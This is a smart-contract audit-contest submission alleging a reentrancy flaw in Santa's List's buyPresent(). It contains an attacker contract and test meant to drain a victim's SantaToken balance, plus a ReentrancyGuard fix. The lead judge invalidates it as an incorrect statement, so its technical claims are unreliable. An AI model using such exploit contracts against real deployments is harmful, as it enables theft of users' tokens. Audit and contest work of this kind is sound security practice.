Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

buyPresent() is vulnerable to reentrancy via the _safeMint callback, allowing an attacker to drain a victim's entire SantaToken balance in a single transaction

Root + Impact

An attacker contract can exploit the onERC721Received callback in buyPresent() to re-enter the function repeatedly, draining a victim's entire SantaToken balance in a single transaction. Without reentrancy, each buyPresent(victim) call drains 1e18 tokens. With reentrancy, every token the victim holds is drained in one atomic transaction before the victim can react.

Any address can call buyPresent(victim) for any SantaToken holder with no approval required (Solmate burns without allowance checks). Deploying a contract with onERC721Received to amplify the drain requires only standard Solidity knowledge and gas.

Description

  • buyPresent() makes two sequential external calls with no reentrancy guard:

function buyPresent(address presentReceiver) external {
// @> external call 1: burns victim's tokens
i_santaToken.burn(presentReceiver);
// @> external call 2: _safeMint triggers onERC721Received on msg.sender if it is a contract
_mintAndIncrement();
}

_mintAndIncrement() calls OZ _safeMint(msg.sender, ...), which fires onERC721Received on the attacker contract after minting. At this point, the burn has already executed but no state prevents another call. The attacker re-calls buyPresent(victim) from inside the callback:

buyPresent(victim)
-> burn(victim) [1e18 drained, victim balance: 3e18 -> 2e18]
-> _safeMint(attacker) -> onERC721Received
-> buyPresent(victim)
-> burn(victim) [1e18 drained, victim balance: 2e18 -> 1e18]
-> _safeMint -> onERC721Received
-> buyPresent(victim)
-> burn(victim) [1e18 drained, victim balance: 1e18 -> 0]
-> _safeMint -> onERC721Received
-> buyPresent(victim)
-> burn(victim) [underflow -> revert -> unwind]

The entire victim balance is drained before the outermost call returns. No state is written between calls to prevent re-entry.

Risk

Likelihood:

  • No victim approval required - Solmate _burn bypasses allowance checks entirely

  • Any SantaToken holder is an immediate target

  • Reentrancy amplifies the drain from 1e18 per call to the victim's full balance per transaction

Impact:

  • Victim's entire SantaToken balance drained atomically in one transaction

  • Attacker gains one NFT per 1e18 tokens drained — multiple NFTs per transaction

  • Victim has no opportunity to react — the entire drain is atomic

  • Combined with F-4 (wrong burn address), every token holder is already a target even without reentrancy

Proof of Concept

contract ReentrancyBuyPresentAttacker is IERC721Receiver {
SantasList immutable santasList;
address public victim;
function attack(address _victim) external {
victim = _victim;
santasList.buyPresent(_victim);
}
function onERC721Received(address, address, uint256, bytes calldata)
external override returns (bytes4)
{
// Re-enter until victim balance underflows and Solmate reverts
try santasList.buyPresent(victim) {} catch {}
return IERC721Receiver.onERC721Received.selector;
}
}
function test_F6_ReentrancyDrainsEntireVictimBalance() public {
// Victim holds 3e18 SantaTokens
_giveVictimTokens(3);
assertEq(santaToken.balanceOf(victim), 3e18);
// Single call drains all 3e18 via reentrancy
attackerContract.attack(victim);
assertEq(santaToken.balanceOf(victim), 0); // fully drained
assertEq(santasList.balanceOf(address(attackerContract)), 3); // 3 NFTs gained
}

Recommended Mitigation

Add OpenZeppelin's ReentrancyGuard and apply nonReentrant to both buyPresent() and collectPresent():

Additionally, fix the CEI violation in buyPresent() by writing any relevant state before making external calls.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract SantasList is ERC721, TokenUri {
+ contract SantasList is ERC721, TokenUri, ReentrancyGuard {
- function buyPresent(address presentReceiver) external {
+ function buyPresent(address presentReceiver) external nonReentrant {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}
- function collectPresent() external {
+ function collectPresent() external nonReentrant {
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!